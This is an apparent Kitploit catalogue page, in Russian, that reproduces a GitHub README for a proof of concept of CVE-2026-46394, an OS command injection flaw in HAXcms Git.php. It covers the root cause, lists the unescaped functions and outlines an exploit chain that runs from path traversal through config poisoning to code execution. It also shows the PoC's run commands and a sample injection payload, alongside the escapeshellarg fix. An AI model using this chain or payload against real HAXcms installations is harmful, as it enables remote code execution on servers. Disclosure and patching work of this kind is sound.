Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-46394-haxcms-git-command-injection — PoC и описание для CVE-2026-46394: внедрение команд ОС в HAXcms Git.php (CWE-78). Только авторизованные исследования безопасности. | Kitploit
Инструменты/GitHubGitHub/shreyas-challa/cve-2026-46394-haxcms-git-command-injection
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и Образование
GitHubshreyas-challa/cve-2026-46394-haxcms-git-command-injection

CVE-2026-46394-haxcms-git-command-injection

PoC и описание для CVE-2026-46394: внедрение команд ОС в HAXcms Git.php (CWE-78). Только авторизованные исследования безопасности.

Репозиторий
13 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-46394 - HAXcms Git.php Внедрение команд ОС (CWE-78)

Доказательство концепции (PoC) только для авторизованного тестирования безопасности и исследований. Уязвимость, описанная здесь, исправлена в последнем выпуске HAXcms. Этот PoC опубликован, чтобы защитники и исследователи могли проверить проблему на незапатченных экземплярах, которыми они владеют или на которые у них есть явное разрешение.

CVECVE-2026-46394
КомпонентPHP-бэкенд HAXcms - system/backend/php/lib/Git.php
УязвимостьВнедрение команд ОС (CWE-78)
СерьезностьВысокий - CVSS 3.1 7.2 изолированно / 8.1 в цепочке с обходом пути
СтатусИсправлено в вышестоящем репозитории. Затрагивает версии до патча.
Проектelmsln/HAXcms
СообщившийShreyas Challa ([email protected])

Краткое описание

Библиотека Git.php в PHP-бэкенде HAXcms формирует строки команд оболочки путем конкатенации неочищенных параметров и передает их напрямую в proc_open(). Из 17 функций, выполняющих команды оболочки, только одна (commit()) использует escapeshellarg(). Остальные 15 подставляют ввод вызывающей стороны непосредственно в строку команды.

Любое значение, содержащее метасимволы оболочки (&, ;, |, $(), обратные кавычки), которое попадает в одну из этих функций, приводит к произвольному выполнению команд ОС от имени пользователя веб-сервера.

Единственная правильно экранированная функция является самым наглядным доказательством того, что экранирование было понято и просто пропущено во всех остальных местах.

Основная причина

Все уязвимые функции проходят через run() → run_command() → proc_open():

root@kitploit:~
// Git.php:408-411 - builds a raw command string
public function run($command) {
    return $this->run_command(Git::get_bin() . " " . $command);
}

// Git.php:383 - executes it via the system shell
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);

Пример уязвимой функции в сравнении с единственной безопасной функцией:

root@kitploit:~
// Git.php:574 - VULNERABLE (no escaping)
public function create_branch($branch) {
    return $this->run("branch $branch");
}

// Git.php:496 - SAFE (proves the author knew the pattern)
public function commit($message = "") {
    return $this->run("commit -av -m " . escapeshellarg($message));
}

Все затронутые функции

ФункцияСтрокаКоманда оболочкиЭкранирована?
create_branch($branch)574branch $branchНЕТ
delete_branch($branch)588branch -d $branchНЕТ
checkout($branch)663checkout $branchНЕТ
merge($branch)677merge $branch --no-ffНЕТ
push($remote, $branch)785push $remote $branch $flagsНЕТ
pull($remote, $branch)799pull $remote $branchНЕТ
log($format)813log --pretty=format:"$format"НЕТ
show($commit, $format)830show --pretty=format:"$format" $commitНЕТ
list_tags($pattern)763tag -l $patternНЕТ
clone_to($target)512clone --local $repo $targetНЕТ
clone_from($source)527clone --local $source $repoНЕТ
clone_remote($source)543clone $source $repoНЕТ
set_remote($dest, $url)460remote add $dest $urlНЕТ
rm($files)

Эксплуатация в контексте

В поставляемой кодовой базе эти функции вызываются со значениями, взятыми из конфигурации сервера/сайта, а не напрямую из тел запросов, поэтому эксплуатация реализуется путем создания цепочки:

  • Обход пути → отравление конфигурации → RCE: использование обхода пути saveOutline для перезаписи site.json сайта, внедрение метасимволов в metadata.site.git.branch. Следующий вызов gitCommit() вызывает push('origin', $branch) в HAXCMSSite.php:584, выполняя полезную нагрузку.
  • Любой другой механизм, который записывает настройки ветки/удаленного репозитория git в манифест, достигает create_branch() (Operations.php:2762) или set_remote() (HAXCMSSite.php:625).

Запуск PoC

PoC напрямую использует реальную библиотеку Git.php: он создает временный git репозиторий, вызывает create_branch() с полезной нагрузкой, использующей разделитель команд оболочки, и подтверждает выполнение, проверяя наличие файла подтверждения, записанного на диск. Он очищает за собой.

Предварительные требования

  • PHP CLI (7.x или 8.x)
  • git в PATH
  • Копия PHP-бэкенда HAXcms
root@kitploit:~
git clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection

Запуск

Укажите PoC на Git.php из вашего клона HAXcms (переменная окружения или первый аргумент); он также автоматически находит haxcms-php/, расположенный рядом с ним:

root@kitploit:~
# Option A - environment variable
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php

# Option B - CLI argument
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php

Работает как в Unix (разделитель ;), так и в Windows (разделитель &); PoC автоматически выбирает правильную полезную нагрузку для операционной системы хоста.

Пример вывода

root@kitploit:~
================================================================
  HAXcms Git.php - OS Command Injection (CWE-78)
================================================================

STEP 3: Inject OS command via create_branch()
  Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"

STEP 4: Verify injected command executed
  FILE FOUND!
    Content: COMMAND_INJECTION_PROOF
  COMMAND INJECTION CONFIRMED.

Исправление

Примените escapeshellarg() к каждому параметру во всех 15 функциях:

root@kitploit:~
// BEFORE
public function create_branch($branch) {
    return $this->run("branch " . $branch);
}
// AFTER
public function create_branch($branch) {
    return $this->run("branch " . escapeshellarg($branch));
}

Эшелонированная защита — проверяйте значения до того, как они достигнут слоя git:

root@kitploit:~
function validateBranchName($branch) {
    return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}

Обновитесь до последнего выпуска HAXcms, который содержит исправление от вышестоящих разработчиков.

Ответственное раскрытие

Эта проблема была сообщена сопровождающим HAXcms и исправлена до публикации. PoC выпущен только после того, как стал доступен патч. Используйте его исключительно против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.

Юридическое уведомление / уведомление об авторизованном использовании

Этот материал предоставлен для защитных исследований, обучения и авторизованного тестирования безопасности. Запуск его против систем без явного разрешения может быть незаконным. Вы несете единоличную ответственность за соблюдение всех применимых законов и за получение разрешения перед тестированием. Предоставляется «как есть» без каких-либо гарантий (см. LICENSE).

Скачать инструмент
479
rm $files
НЕТ
add_tag($tag, $msg)749tag -a $tag -m $msg$tag: НЕТ, $msg: да
commit($message)496commit -av -m $messageДА (единственная безопасная)